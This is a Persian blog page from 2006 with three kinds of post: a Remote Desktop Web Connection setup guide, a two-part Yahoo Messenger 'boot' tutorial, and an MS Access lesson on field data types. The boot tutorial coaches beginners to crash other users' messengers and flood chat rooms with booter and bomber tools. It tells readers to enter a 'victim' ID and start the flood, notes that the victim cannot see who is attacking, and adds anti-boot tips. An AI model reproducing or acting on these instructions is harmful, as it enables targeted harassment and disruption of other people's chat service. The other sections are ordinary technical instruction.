راهي براي نفوذ به سيستم (Remote PC Desktop)



Remote Desktop Web Connection بطور پيش‌فرض در Windows XP نصب شده آست و شما براي استفاده از آن خودتان بايستي آن‌را بر روي كامپيوتري كه در راه دور قرار دارد، نصب كنيد.و براي افزودن آن ابتدا بايستي Internet Information Services (IIS) را بر روي كامپيوتر راه دور نصب كنيد.براي نصب Remote Desktop Web Connection و IIS سي‌دي ويندوزتان را آماده كنيد، سپس مراحل زير را انجام دهيد.
1-
Add/Remove Programs رادر كنترل پنل باز كنيد.
2-بر روي
Add/Remove Windows Components كليك كنيد، تا ليست اجزاي ويندوز ظاهر شود.
3-
Internet Information Services را انتخاب كرده، سپس دكمه‌ي Details را فشار دهيد.
4-
World Wide Web Services را انتخاب كنيد و سپس بر روي دكمه‌ي Details كليك كنيد تا كادر World Wide Web Service نشان داده شود.

 

Remote Desktop Web Connection را انتخاب كرده، OK كنيد و سپس راهنمايي‌هاي Wizard را دنبال كنيد.سپس از شما خواسته مي‌شود CD ويندوز را در CD درايو بگذاريد.اين كار را به صورت دستي انجام دهيد.

بعد از اينكه مراحل نصب تمام شد مي‌توانيد با استفاده از كامپيوتر ديگري كه از IE4.0 به بالا استفاده مي‌كند به Windows XPتان متصل شويد.بنابراين به برنامه جانبي‌اي كه بر روي كامپيوتر شما (Client) نصب شده باشد نيازي نداريد.براي اتصال:

1-اينترنت اكسپلورر را باز كنيد و در قسمت AddressBar، http://machinename/tsweb را تايپ كنيد.(قسمتي كه machinename نوشته شده‌است، ‌آدرس IP كامپيوتر مورد نظر مي‌باشد)

 

2- با استفاده از صفحه اي كه پیش رویتان ظاهر خواهد شد مي‌توانيد به هر كامپيوتري كه بر روي آن ويندوز XP قرار دارد و يا هر كامپيوتر ديگري كه Remote Desktop بر روي آن نصب باشد، وصل شويد.
همچنين با استفاده از ويندوز XPتان كه به عنوان Gateway (دروازه ورودي) عمل مي‌كند، مي‌توانيد به تمام كامپيوترهاي شبكه محلي‌تان كه Terminal Services(پروتكل پايه و اساسي براي Remote Desktop) بر روي آن‌ها نصب باشد، متصل شويد. با وجود اينكه آن كامپيوترها Remote Desktop Web Connectionشان را اجرا نكرده باشند.

 

3-اگر مي‌خواهيد اطلاعات كامپيوتر راه دوري را كه به آن متصل خواهيد شد، وارد كنيد، گزينه‌ي Send logon information for this connection را تيك بزنيد.به اين ترتيب دو گزينه جديد ظاهر خواهد شد كه امكان وارد كردن password و Username را به شما مي‌دهد.

نكاتي در مورد Proxy/Firewall
صرف‌نظر از اين‌كه چگونه به كامپيوتر راه دور متصل خواهيد شد، اگر هر يك از كامپيوترهاي سرويس‌دهنده و يا سرويس‌گيرنده پشت
firewall يا proxy باشد، قادر نخواهيد بود تا به كامپيوتر راه دور متصل شويد، مگر اين‌كه پورت مورد نياز، 3389، را براي اجازه دادن به Remote Desktop Connection باز كنيد.

زماني‌كه Internet Connection Firewallي كه با ويندوز XP ارائه شده‌است، بر روي كامپيوتر شما به عنوان فايروال كار مي‌كند، به آساني مي‌توانيد يورت مورد نظر را براي اتصال به كامپيوتر راه دور باز كنيد.اگر شبكه‌ي كامپيوتري كه در نظر داريد به آن متصل شويد از فايروال ديگري استفاده مي‌كنيد، نمي‌توانيد به آساني پورت مربوطه را باز كنيد و براي اين‌كار بهتر است با مدير شبكه تماس بگيريد.ولي باز كردن پورت براي Internet Connection Firewall (ICF) آسان است:

1- به Start و سپس Control Panel برويد و network Connectios را فعال كنيد.بر روي آيكوني كه از طريق آن به اينترنت متصل‌ايد كليك راست كرده گزينه‌ي Properties را انتخاب كنيد.
2- بر روي تب
Advanced كليك كنيد و گزينه‌ي Protect my computer and network by limiting or preventing access to this computer from the Internet را فعال كنيد.
3- بر روي دكمه‌ي
Settings كليك كنيد و از قسمت Services گزينه‌ي Remote Desktop را فعال كنيد.سپس OK كنيد.

توسط Remote Desktop Web Connection ، چه در خانه چه در راه مي‌توانيد به همه‌ي اطلاعات و قابليت‌هاي كامپيوتر محل كارتان دست‌يابي داشته باشيد.مي‌توانيد با Bookmark كردن كامپيوتر راه‌دورتان در اينترنت اكسپلورر، سريع‌تر به آن دستيابي پيدا كنيد.
در ضمن برای برقراری ارتباط با ویندوز 2000 سرور بایستی از کامپوننت‌های ویندوز Terminal Services، نصب شده باشد.

 


 
comment نظرات ()
 
 
اموزش BOOT در ياهو قسمت دوم
نویسنده : Hossein - ساعت ۱۱:٤٤ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 

اموزش BOOT در ياهو قسمت دوم

هنوز هم برخي از مثلا حرفه اي ها به Boot ميگويند : Hack !؟!

لطفا تعجب نکنيد ، اما من آمار بسيار دقيق و ناراحت کننده اي از چند Chat Room دارم که نشان دهنده بي سوادي بيش از حد برخي از افراد پرمدعا مي باشد !!! افرادي که از بهترين Booterها استفاده مي کندد ، اما نام آنرا هنوز بلد نيستند ! واقعا زشت است که ما ببينيم يک نفر به Chat Room مي آيد و پس از کلي سر و صدا (يا همان کل کل خودمان) مي گويد : من الآن همه شما را Hack مي کنم !!! و پس از چند دقيقه مي بينيم که آن آقاي مثلا حرفه اي يک Invite Bomber روشن مي کند از آن براي شما استفاده مي کند ! حالا کاشکي در Chat Room که تاثيري داشته باشد !

بخش Anti Boot

اصطلاحات مربوط به AntiBoot

: Anti Screen/Screen Shieldبرخي از Booterها و AntiBooterها بخشي بنام Anti Screen يا Screen Shield دارند که چنانچه اين قسمت را فعال کنيد صفحه PM يا Chat شما محو مي شود و شما ديگر قادر به ديدن پيغامهاي ديگران و خودتان نيستيد ولي Boot هم نمي شويد ، اين روش يکي از آسانترين روشهاي Anti Boot در YahooMessenger مي باشد ...

: Answering Machine / PM Off

برنامه هايي با اين نامها وجود دارند که شما براحتي در هنگام Chat کردن در Chat Room و يا Boot کردن Chat Room مي توانيد از آنها استفاده کنيد . اين برنامه هاي باعث مي شوند تا کليه PMهايي که براي شما مي رسد به صورت خودکار بسته شود و لطمه اي به کار شما وارد نکند و چنانچه براي شما PM نيايد شما Boot نمي شويد ...توضيح کلي :

خود کلمه Anti به معني ضد مي باشد و Anti Boot يعني Bootنشد و يا ضد Boot . شايد تا بحال ديده باشيد که افرادي به Chat Room مي آيند و هر چقدر اذيت مي کنند کسي نميتواند آنها را Boot کند!! البته با آمدن YahooMesenger betaهمه اين مسائل در مورد Anti Boot حل شده و ديگر جاي بحث وجود ندارد . زيرا خود اين نسخه YahooMessenger هيچ وقت Boot نمي شود و بهترين Anti Boot است . البته برخي از افراد هستند که بدليل ضعيف بودن سيستم عامل و يا برخي قطعات مانند RAM ممکن است برخي اوقات Boot شوند ! ولي در حالت عادي امکان ندارد که اين Messenger با هيچ برنامه Boot ساده اي Boot شود پس خود Messenger بهترين Anti Boot است J! ولي ما به توضيح بيشتري مي پردازيم نا افرادي که ممکن است مشکلاتي داشته باشند هم Boot نشوند ...

جتي Invite Bomb هم نشويم !!!

اگر آدم کنجکاوي بوده باشيد ، تا کنون خودتان اين بخش را يافته بوديد ! اما من به شما مي گويم که چه کنيد تا ديگر Invite Bomb نشويد! ابتدا Yahoo Messenger خود را پس از Login شدن باز کرده ، ساس از قسمت Login در بالا سمت چپ Messenger ، قسمت Privacy Setting و يا Preference را آورده و در ستون سمت چپ Chat را انتخاب مي کنيد و بعد تيک کنار اين جمله را مي زنيد و Ok مي کنيد : Ignore Chat Invitation

چگونه زماني که مي خواهيم در Chat Room صحبت کنيم و يا Boot کنيم کسي ما را Boot نکند ؟فقط کافي است شما يک برنامه با نامهاي مختلفي مانند : Answering Machine , PM Blocker , PM Off , … را Download کنيد . سپس آنرا در حالت فعال قرار مي دهيد و به صحبت کردن و يا Boot کردن در Chat Room مي پردازيد . در اين حين تمامي PMهايي که حاوي Boot و يا هرگونه Message است بصورت خودکار بسته مي شود و به کار شما لطمه اي نمي زند .

Anti Screen چه استفاده اي دارد ؟

بهترين روش Anti Boot پس از ignoreکردن همين Anti Screen مي باشد . يعني بدون صفحه ! شما با داشتن يک برنامه Booter و يا Anti Booter ساده در زمانيکه شخصي Chat Room را Boot مي کند ، مي توانيد از Bootشدن خودتان جلوگيري کنيد و قبل از اينکه آن فرد شروع به Bootکردن مي کند ، شما Anti Screen را فعال کنيد ديگر Boot نمي شويد J!

برنامه هايي براي Chat که Boot نمي شوند ! (Anti Spam Chat Clients) :

برنامه هاي زيادي پس از اينکه Yahoo Messenger بوجود آمد ، ساخته شد اما با اين مزيت که ديگر بهيچ وجه Boot نمي شوند . YahElite اولين آنها بود که در حال حاضر Serverهاي آن از کار افتاده و ديگر کار نمي کند ( البته برخي مي گويند که کار مي کند) Cheeta Chat که فقط نسخه جديد آن Boot نمي شود . اين نرم افزار خوب است اما Voice ندارد . YChat که در حال حاضر بهترين Client براي Chat کردن در Yahoo البته پس از Yahoo Messenger مي باشد . اين سه برنامه هرگز Boot نمي شوند . البته ناگفته نماند که اين برنامه نويسهاي ناقلا پس از آمدن YahElite فوراً براي آن چند Booter ساختند L اما باز هم بوت نشد J !!!

ايدي من در ياهو:b_khazamafحرف آخر و معرفي چند Anti Boot :

بهترين راه براي Anti Boot استفاده نکردن از اينترنت است . بنظر من اين بهترين راه است J !!معرفي چند Anti Booter خوب :

YahDefence 2 - RozerEdge - Anti Booter -Yatunne222


 
comment نظرات ()
 
 
اموزش BOOT در ياهو قسمت اول
نویسنده : Hossein - ساعت ۱۱:٢۸ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 

اموزش BOOT در ياهو قسمت اول
 ضمن عرض سلام و تشکر از شما دوست عزيز بمناسبت بازديد از اين بخش سايت بايد قبل از شروع هر کاري ، شما را يا چند اصطلاح در Yahoo آشنا کنم . قبل ار هر چيز و هر توضيحي بايد اين موضوع را متذکر شوم که کارهايي از قبيل Boot و يا چيزهايي شبيه به آن کاملاً از نظر شرکت Yahoo غيرقانوني مي باشد و ممکن است تا چند وقت ديگر کليه اشخاصي که Booter لقب گرفته اند از ليست استفاده کنندگان سرويسهاي Yahoo حذف شوند ، اما با اين حال من به آموزش Boot کردن در اين برنامه و چگونگي حفظ ثبات خود و Bootنشدن يا همان Anti Boot مي پردازم ، اميدوارم که دوستان پيشکسوت به دليل ابتدايي بودن اين مسائل و آموزشها ما را سرزنش نفرمايند زيرا کليه اين مطالب صرفاً به منظور آموزش براي عزيزان مبتدي ما مي باشد و هدف ما فقط يادگيري همگاني است خب ، بيش از اين صحبت نمي کنم و به توضيح در مورد اصطلاحات مي پردازم .

بوت(boot):

بوت کردن در Yahoo Chat و يا Yahoo PM صرفاً به معناي بيروت افتادن از Chat نيست ، بلکه به اين صورت است که حجم پيغامهاي موجود در صفحه Chat و يا صفحه PM زياد مي شود و رد و بدل کردن آن براي نرم افزار Yahoo Messenger و Serverهاي Yahoo تقريباً سخت مي شود و نرم افزار Messenger شما قفل مي کند و شما مجبور به بستن آن مي شويد و بدين صورت است که شما Boot مي شويد و يا ديگران را Boot مي کنيد ...

آموزش Boot در Yahoo Messenger Beta براي شما تازه کارها :

اول قبل از هر کاري به بيان چند مطلب اجتماعي و رواني مي پردازم و پس از اتمام آن به آموزش Boot مي پردازم . اگر مي خواهيد Booter بسيار قوي بشويد حتما اين مطالب را با دقت مطالعه بفرماييد زيرا تجربيات شخصي من در اين زمينه مي باشد : از اين لحظه که مي خواهي Boot کردن افراد ديگر را ياد بگيري بايد بداني که اين امر از نظر شرکت Yahoo غيرقانوني مي باشد ، حالا از اين که بگذريم و اينگونه فرض کنيم که اين امر عادي شده و معمول ، بايد بگويم برخي از افراد اصلا ظرفيت مسائلي چون Bootشدن و يا Hackشدن را ندارند به طرزي که شما آنها را در Chat که يک دنياي کاملا مجازي مي باشد اذيت مي کنيد مثلا با Boot کردن ، اما آنها مي خواهند در دنياي واقعي و اجتماع آنرا تلافي کنند !!! خب ، آيا اين درست است ؟ اگر آن فرد قادر است در اينترنت و Chat با شما مقابله کند وگرنه نبايد اين مسئله را از اين فضا به جاي ديگر انتقال دهد ! درست است که برخي از اين افراد Booter خودشان نيز بي ظرفيت هستند و تا 4 تا Booter پيدا مي کنند به Chat Room مي روند و احساس قدرت مي کنند و هرچه از دهانشان در مي آيد به ملت مي گويند ! اما با در نظر نگرفتن اين عده کم بايد به اين مسدله پي ببريم که Boot کردن و Booter قوي شدن يک ريسک به تمام معنا است !!! حالا اين يک مسئله که ممکن است مقداري شما را نا اميد کند ، اما باز بايد بگويم غصه نخوريد ، شما هم روزي Booter خوبي خواهيد شد ... خب اين مسائل به کنار ، بايد بگويم که از Boot کردن کاري آسانتر در Yahoo Messenger پيدا نمي شود ! فقط بايستي يک Booter خوب که به صورت يک برنامه کم حجم مي باشد را پيدا كنيد.

چگونه Boot کنيم ؟

بسيار آسان و راحت ! در قسمتي که اکثر Booterها دارند و معمولا اين جمله ها ديده مي شود:

Victim,lamer,type ID here,...

در اين قسمت بايد اين جمله يا کلمه را پاک کنيد و ID فرد مورد نظري که مي خواهيد او را Boot کنيد را بنويسيد ، سپس يکي از انواع Bootها را انتخاب کرده و صبر مي کنيد ، مي بينيد که پس از انتخاب کردن آن نوع Boot ، جملات مجهولي درون صفحه PM نوشته مي شود و شخص مورد نظر شما Boot مي شود ! بهمين سادگي که مي بينيد ! اما درون Chat Room ديگر لازم نيست که ID کسي را بدهيد ، فقط يکي از Bootها را انتخاب مي کنيد و آنرا کليک مي کنيد ، اگر Booter شما قوي باشد مي بينيد که Chat Room کاملا Boot مي شود !

اصطلاحات مربوط به Boot

فريز (Freeze/Lagg) :

هنگاميکه پيغامي که براي شما بسيار به سختي مي آيد و حجم آن بسيار زياد است Ram کامپيوتر شما قادر به تحمل آن نيست ، زيرا سرعت فرستادن اين پيغام بسيار بالا ( از طرف شخص Freeze کننده) و سرعت دريافت آن از طرف شما بسيار کم است ، بهمين دليل شما Freeze مي شويد ( يعني يخ مي زنيد ) ، اين امر نيز بوسيله نوشتن يک دستور ساده قابل اجراست و هم چنين برنامه اي هم با نام 1066 Lagg اين کار را با سرعت بيشتري انجام مي دهد .

بمبرها(bomber):

برخي از نرم افزاها که با نام Protocal Bomber و يا PM Bomber شناخته مي شوند و براي بوت کردن در هر نسخه YahooMessenger قابل استفاده مي باشند . کار اين برنامه بدين صورت است که بوسيله يکي از Serverهاي Yahoo و يا بيشتر ، شخص مورد نظر شما را Bomb مي کند و بدين صورت مي باشد که شما Yahoo!ID و Password خود را به آن برنامه مي دهيد و اين برنامه شما را به آن Server متصل مي نمايد و از طريق آن بصورتي که خود Victim متوجه نمي شود که چه کسي در حال Bomb کردن او است ، او را بوت مي کند ...

نمونه ديگري از Bomberها وجود دارد که کار با آنها بسيار ساده تر از Protocal Bomberها مي باشد . نونه اول آنها که با نام Invite Bomber شناخته مي شود ، بدين صورت است که شما ID شخص مورد نظر را وارد مي نماييد و اين برنامه چنانچه شما درون Chat Room باشيد ، با سرعت بسيار بالايي و تا زمانيکه آن را Stop نکنيد براي آن فرد Invite مي فرستد ( او را به Chat Room دعوت مي کند ) ، نمونه ديگر آنها که با نام Voice Bomber شناخته مي شوند بدين صورت است که يک صفحه PM از طرف شما براي شخص مقابل باز مي شود و Voice درون PM با سرعت بالايي باز و بسته مي شود ...

طرز کار Bomberها :

همانطور که قبلا هم گفته شد ، اين نرم افزارها يا اين Bomberها با استفاده از شناساندن ID و Password شما در Yahoo به يکي از Serverهاي فعال Yahoo ، شخص مورد نظر شما را به شکلهاي مختلفي که شما خودتان انتخاب مي کنيد Bomb مي کند . انواع Bombها عبارتند از :

Voice Bomb , Cam Bomb , Send File , Add Friend , Mass PM , Shared File , Cam Decline Bomb , Conference Invitation Bomb , …

چگونه از يک Protocal Bomber استفاده کنيم ؟

براحتي مي توانيد از يکPM Bomber يا Protocal Bomber استفاده کنيد ابتدا شما بايد ID و Password خود در Yahoo را وارد کنيد ( البته لازم به تذکر است که چنانچه شما در Yahoo Messenger مشغول Chat کردن هستيد نمي توانيد با همان ID که در Yahoo Messenger هستيد Bomb کنيد بلکه بايد IDي غير از آنچه که در Yahoo Messenger داريد ، در اين برنامه ها وارد نماييد)

توضيح مختصري در مورد کار اين Bomberها :

تنها مزيت اين بمبرها اين است که سرعت بالايي دارند يعني در Invite Bomber با سرعت بسيار بالا Chat Invitation و در Voice Bomber با سرعت بسيار بالا Voice Invitation فرستاده مي شود . حال بايد بدانيم چگونه ؟ بسيار ساده است . Invite Bomberها فقط يک چمله که بدين صورت مي باشد [ /invite Victim ID ] را مرتباً در صفحه Chat Room مي فرستند و شخص مقابل به دفعات بالايي يه Chat Room ، Invite مي شود . و اما Voice Bomber که به دفعات زيادي درون PM شما با طرف مقابل ، Voice را باز و بسته مي نمايد .

چگونگي استفاده از Bomberها :

پس از دادن ID شخص مورد نظر فقط کافي است دکمه Start يا Go يا Enable را بزنيد و زمانيکه مي خواهيد آن را از کار باز داريد دکمه Stop يا Disable را بزنيد .(لازم بذکر است براي استفاده از Invite Bomber شما بايستي حتماً در يک Chat Room باشيد .) در ضمن Invite Bomber در Confrenceهاي شخصي قابل استفاده نيست .

 

اصطلاحات(Scroll , Lagg , Macro,...):

ممکن است در برنامه هاي Booter با برخي از اصطلاحات بالا برخورد کنيد . زياد نگران نباشيد زيرا اينها در Boot حرفه اي تاثيري ندارند و هم چنين ما در اينجا به توضيح تک تک آنها خواهيم پرداخت : 

براحتي مي توانم بگويم که اين بخشها که در اکثر Booterها وجود دارد فقط براي سرگرمي است و جنبه Error ندارد ، پس چرا وقت خودمان را براي استفاده از آنها تلف کنيم ، البته برخي از Lagg ها بدليل حجم زياد و مخصوصا سرعت بالا در بعضي Chatها براي Boot کردن بد نيست اما من استفاده نکردن از اين بخش را بيشتر ترجيح مي دهم !

توضيحي در مورد Scroll و Scrollerها :

اکثر Booterها ، يک بخش با نام Scroller را به خود اختصاص دادند که کار آن فقط Copy کردن يک جمله و فرستادن آن به Chat Room مي باشد . معني اين کلمه طومار مي باشد و کار آن نيز ماننيد معني اش مي باشد ، چنانچه يک جمله خاص که در خود برنامه موجود مي باشد و يا جمله دلخواه شما را براي دفعات زياد و تا زمانيکه آنرا Stop نکنيد به Chat Room مي فرستد :

FazerX - Custom Scroller

فقط بايد جمله مورد نظر خود را در قسمتي که خود برنامه مشخص شده بنويسيد و دکمه On را بزنيد و سپس براي از کار بازداشتن آن دکمه Off را بزنيد . يهمين سادگي !!!

توضيحي در مورد Lagg و Laggerها :

معني اين کلمه کند شدن ، کند رفتن و پايين آمدن سرعت است ، اين برنامه ها بدليل اينکه مقدار زيادي شکل Smileys با هم و به دفعات زياد به صفحه Chat Room مي فرستد و چو نجم پيغام را بالا مي برند سرعت فرستادن آن کم مي شود و ممکن است اگر کامپيوتر شما Ram کمي داشته باشد ، سيستم Windows شما هنگ کند .

Macro چبست ؟

برخي از برنامه هاي Booter يک بخش به اين نام دارند . اما به هيچ دردي نمي خورد !!! يعني فقط يک شکل را براي شما نقاشي مي کند و براي سرگرمي چير خوبي است .


 
comment نظرات ()
 
 
آموزش access قسمت چهارم
نویسنده : Hossein - ساعت ۱۱:٠۸ ‎ب.ظ روز چهارشنبه ٢٢ شهریور ،۱۳۸٥
 


تعریف انواع داده ها

در درس پيش مبحث طراحي جدول را آغاز كرديم و پنجره Design View آشنا شديدو توانستيم اقدام به ايجاد جداول جديد كنيم ولي يكي از مباحث مهم در طراحي جدول را ذكر نكرديم و قول آن را به جلسه بعد داديم و آن مبحث كه در اين درس به طور مفصل توضيح داده خواهد شد نوع داده هاي فيلدها مي باشد.
اگر به ياد داشته باشيد در پنجره Design View ما براي تعريف كردن فيلدها از سه ستون Field Name و Data Type و Description استفاده مي كرديم و همچنين گفته شد كه Field Name براي شرح نام فيلد و Description براي توضيح فيلد براي استفاده هاي بعدي مي باشد. اما نكته اي كه اينجا قابل ذكر مي باشد ستون Data Type مي باشد كه نوع داده هاي هر فيلد را مشخص مي كند مثلا داده هاي از نوع متن, عدد, تاريخ و غيره كه تمامي موارد در زير به طور كامل شرح داده خواهند شد.

تعريف انواع داده ها:

هر داده اي نوع خاصي دارد. هرفيلد جدول, داده هايي از يك نوع خاص را مي تواند در خود جاي دهد.مثلا براي فيلدي با اسم "نام كارگر" بايد داده هايي از نوع متن تعريف شود تا تمامي ركوردهاي ثبت شده در اين فيلد داراي يك نوع داده و آن هم از نوع متن باشند.لذا هرگاه جدولي طراحي مي كنيم بايد نوع داده هر فيلد را از فهرست پايين جهنده ستون Data Type انتخاب كنيم.(براي نمايش فهرست ستون Data Type كافي است بر روي فلش موجود در اين ستون كليك كنيم تا فهرستي از نوع تمامي داده هايي كه مي شود در اكسس ثبت كرد براي ما نشان داده شود)
توجه: هنگامي كه موردي را از فهرست بازشونده Data Type انتخاب مي كنيم اكسس فهرستي از اطلاعات را در بخش زيرين پنجره نمايش مي دهد كه به آنها Field Properties (يا خصوصيات فيلد) گفته مي شود. مثلا وقتي ما فيلدي از نوع Text (متن) را از ستون بازشونده انتخاب مي كنيم. در زير همين پنجره خصوصيات فيلد مربوط به متن براي ما نشان داده مي شود. اين خصوصيات عنوان درس بعدي ما مي باشد كه به طور مفصل شرح داده هاي خواهد شد كه در اين قسمت ما تنظيمات جالب توجه اي داريم.
حال در زير به تشريح تمامي انواع داده ها مي پردازيم:

داده از نوع Text(متن):

از داده نوع Text در فيلدهايي كه حروف, واژه ها, اسامي و عبارات را نگه مي دارد استفاده مي شود. لازم نيست كه محتواي فيلد متن فقط متون الفبايي باشد بلكه مي تواند اعداد و علايم خاص نيز باشد. ولي توجه كنيد كه براي اعدادي كه در محاسبات از آنها استفاده مي كنيد, از فيلد نوع متن استفاده نكنيد. فيلد متن براي داده هاي مناسب است كه مي خواهيد آنها را نگهداريد و نه آنهايي كه قصد انجام محاسبه بر روي آنها را داشته و يا به عنوان تاريخ و زمان بكار ببريد.مثلا داده هاي با عنوان "نام" بايد در اين نوع فيلد ذخيره شوند.
توجه: از فيلد متني براي داده هاي با طول حداكثر 255 كاراكتر استفاده كنيد. اگر طول داده بيش از اين مقدار است, از داده نوع Memo استفاده كنيد. همچنين دقت كنيد كه براي كنترل طول فيلد متني, از خصوصيات فيلد استفاده كنيد(در درس بعدي شرح داده خواهد شد) مثلا مي توانيد از اكسس بخواهيد تا در هز ركورد فيلد متني, تا 255 حرف را نگهدارد.
آدرس و شماره تامين اجتماعي مثالهاي كاملي از داده هاي متني هستند كه از اعداد و علايم خاص (مانند تيره و ويرگول) تشكيل مي شوند.

داده از نوع Memo (يادداشت):

از داده نوع Memo براي فيلدهايي استفاده مي شود كه تا 64000 كاراكتر (شامل حروف, اعداد و كاركترهاي خاص) طول دارند.تعيين طول فيلدهاي Memo ضروري نيست چون اكسس فقط به همان مقدار كه لازم است براي آنها جا تعيين مي كند. در واقع جدولهايي كه فيلد Memo دارند, ركوردهايي با طول متغير دارند, چون طول فيلد Memo در هر ركورد, با ركوردهاي ديگر فرق دارد. مثال براي اين نوع فيلد, فيلدي به نام "توضيحات" مي تواند باشد.
توجه كنيد كه اگر بخواهيد متون شكل بندي شده اي مانند متون واژه پردازي شده در Word را در اكسس نگه داري كنيد بايد از داده هاي نوع OLE استفاده كنيد نه داده هاي نوع Memo.

داده از نوع Number (عدد):

هر داده اي از جدول را كه بخواهيد در محاسبات بكار ببريد, از نوع Number تعريف كنيد. داده از نوع Number براي تمامي ارقام, بجز مقادير پولي و ارقام با دقت زياد كه در محاسبات علمي بكار ميرود مناسب است.(توجه كنيد كه از داده نوع Currency (ارز) براي ارقام پولي و دقت بالا استفاده مي شود). اكسس در ارقام با دقت بالا زياد دقيق نيست مگر اينكه از داده نوع Currency استفاده كنيد.مثال براي داده هاي نوع Number مي تواند مثلا شماره كدپستي يا شماره كارگري باشد.

داده از نوع Data/Time (زمان/تاريخ):

داده هاي از نوع تاريخ و زمان را در فيلدهايي كه نوع آنها Data/Time است نگهداريد. از اين نوع داده در فيلدهايي مانند تاريخ استخدام و زمان ملاقاتها استفاده مي شود. وقتي فيلدهاي تاريخ و زمان را از نوع Data/Time تعيين مي كنيد, اكسس به شما امكان مرتب كردن آنها را بر اساس تاريخ و زمان مي دهد. مثلا مي توانيد گزارشي از تمامي كرامنداني كه تاريخ شروع به كار آنها اول مهرماه 1377 بوده است و يا فهرستي از تمامي حسابهايي كه بيش از 60 روز به سررسيد آنها مانده را چاپ كنيد.

فيلد داده از نوع Currency (ارز):

از اين نوع داده ها براي نگهداري مقادير پولي يا ارزي استفاده مي شود. داده از نوع Currency, كاربر را مطمئن مي سازد كه مقادير پولي/ارزي كه در محاسبات بكار مي روند به درستي گرد شده اند.(ولي يك مشكل كوچك در اكسس 2000 در اين نوع فيلد براي ثبت نتايج به ريال وجود دارد) اكسس تمامي مقادير پولي/ارزي را با 15 رقم در سمت چپ و چهار رقم در سمت راست نقطه اعشار(مميز كسري) نگه مي دارد, لذا مي توانيد اعداد با دقت بالا را در فيلدهاي پولي نگه داريد. از مثالهاي بارز اين نوع فيلد مقدار حقوق كارمند را مي توان ذكر كرد.

فيلد داده از نوع Auto Number (عدد خودكار):

وقتي كه فيلدي را را از نوع داده Auto number تعريف مي كنيد, با هر ركوردي كه به جدول اضافه شود اكسس بطور خودكار عددي را در اين فيلد نگه مي دارد.سه نوع ارقامي كه اكسس در فيلد عدد خودكار نگه مي دارد, عبارتند از:
----------------
اعداد متوالي: هنگامي كه ركورد جدي را به جدول اضافه مي كنيد, اكسس رقمي متوالي را تخصيص مي دهد كه از 1 شروع مي شود. مقادير متوالي Auto Number معمولا براي كليد اصلي جدول بكار برده مي شوند.
اعداد تصادفي: اكسس در ركورد جديد به اين فيلد, عددي منحصر به فرد و تصادفي را اختصاص مي دهد. اعداد شناسائي انعكاسي: اكسس مقدار منحصر به فردي را به اين فيلد تخصيص مي دهد كه پايگاه داده هاي تكرار شونده را با يكديگر هماهنگ مي كند.
----------------
فيلد داده از نوع Yes/No (بلي/خير):

فيلدي كه از نوع Yes/No تعريف مي شود به ازاي Yes عدد 1- و به ازاي No عدد 0 را دارا مي شود. با استفاده از بخش Filed Properties در پنجره مذكور مي توانيد بسته به دليل استفاده از فيلد, يكي از سه حالت Yes/No, True/False (درست يا غلط) يا On/Off (روشن و خاموش) را به كار ببريد. از موارد استفاده از اين نوع داده مي توان به متاهل بودن اشاره كرد كه مي تواند يا بله يا خير را دربرگيرد.

فيلد داده از نوع شي OLE:

OLE مخفف Object Linking and Embedding (اتصال و نشاندن شي) است. اگر برنامه ديگري تحت ويندوز از OLE پشتيباني كند يعني بتواند شي قابل انتقال به برنامه ديگري را ايجاد كند آنگاه فيلد شي OLE در اكسس نيز قادر خواهد بود تا آن داده را در خود نگه دارد. فيلدهاي OLE براي نگهداري اشيايي از قبيل عكس, تصاوير ويديوئي و صدا مناسب است. (همانطور كه ملاحظه مي كنيد, پايگاه داده اكسس علاوه بر داده هاي عددي و متني مي تواند انواع متنوع ديگري از داده ها را نيز نگه دارد.)
وقتي كه فيلدي از نوع OLE را در جدول قرار مي دهيد, مي توانيد علاوه بر مثلا اطلاعات مربوط به اقلام موجودي, تصوير آن را نيز به شكل يك شي OLE در درون فيلد OLE قرار دهد. به اين ترتيب هنگامي كه ركورد را نمايش مي دهيد, اكسس داده هاي ركورد را همراه با تصوير نمايش مي دهد.
براي نگهداري فيلدهاي از نوع OLE در پايگاه داده اكسس به نرم افزاهاي كمكي از قبيل برنامه هاي گرافيكي و يا صفه گسترده نياز داريد.

داده از نوع Hyperlink (ابرمتن):

اين نوع فيلد براي نگهداري ابرمتنها بكار مي روند. اگر تا حالا تجربه كار كردن با برنامه هاي طراحي صفحات وب يا كاركردن با كدهاي HTML را داشته باشيد منظور از ابرمتنها را به خوبي مي دانيد. ابرمتنها در واقع لينكهاي اينترنتي هستند كه ما را به صفحات مختلف در اينترنت هدايت مي كنند مثلا ما اگر لينكي به صورت http://www.yahoo.com داشته باشيم و برروي آن كليك كنيد ما را به صفحه ياهو خواهد برد و در واقع اين نوع فيلد از انواع فيلدهايي است كه به ندرت مجبور به استفاده از آن مي شويم. عملكرد آنها درست مانند فيلو از نوع متن مي باشد با اين تفاوت كه در اينجا هر متني را كه براي نگهداري تايپ كنيم در واقع آن لينكي از به يك صفحه اينترنتي.
از موارد استفاده از اين فيلد مي توان به نگهداري آدرسهاي اينترنتي مرتبط با شركت اشاره كرد.

داده از نوع Lookup Wizard (جادوگر جستجوگر):

هنگامي كه فيلدي از نوع Lookup Wizard ايجاد مي كنيد, اكسس با بكار گرفتن جادوگري به آن امكان مي دهد تا بجاي يك مقدار, فهرستي از مقادير را نگهدارد. اين فيلد مي تواند فهرستي از مقادير را از يك جدول يا بازجست و يا فهرستي از مقادير ثابتي كه در هنگام ايجاد فيلد تعريف كرده ايد,( براي فهرستهايي كه مقادير ثابتي دارند) باشد.
فرض كنيد كه شركتي به پنج كشور كالا مي فروشد. هنگام طراحي پايگاه داده مي توانيد با بكار انداختن Lookup Wizard, فهرست ثابتي از اسامي كشورها بسازيد كه در هنگام ورود داده ها به جدول, ظاهر شود.
هنگام كه كاربر بخواهد كشوري را انتخاب كند به جاي تايپ نام كشور براي هر ركورد فقط بايد از فهرست ثابت انتخاب كند.
حال شما قادر به شناسايي انواع داده هاي موجود در اكسس مي باشيد و با نوع عملكرد آنها آشنا هستيد و تا حدودي قار به ايجاد جدول هستيد ولي يك نكته در اينجا باقي مانده و آن خصوصيت انواع فيلدها مي باشد كه موضوع درس آينده ما را تشكيل مي دهد كه موضوعي جالب مي باشد .

خصوصیات فیلدها

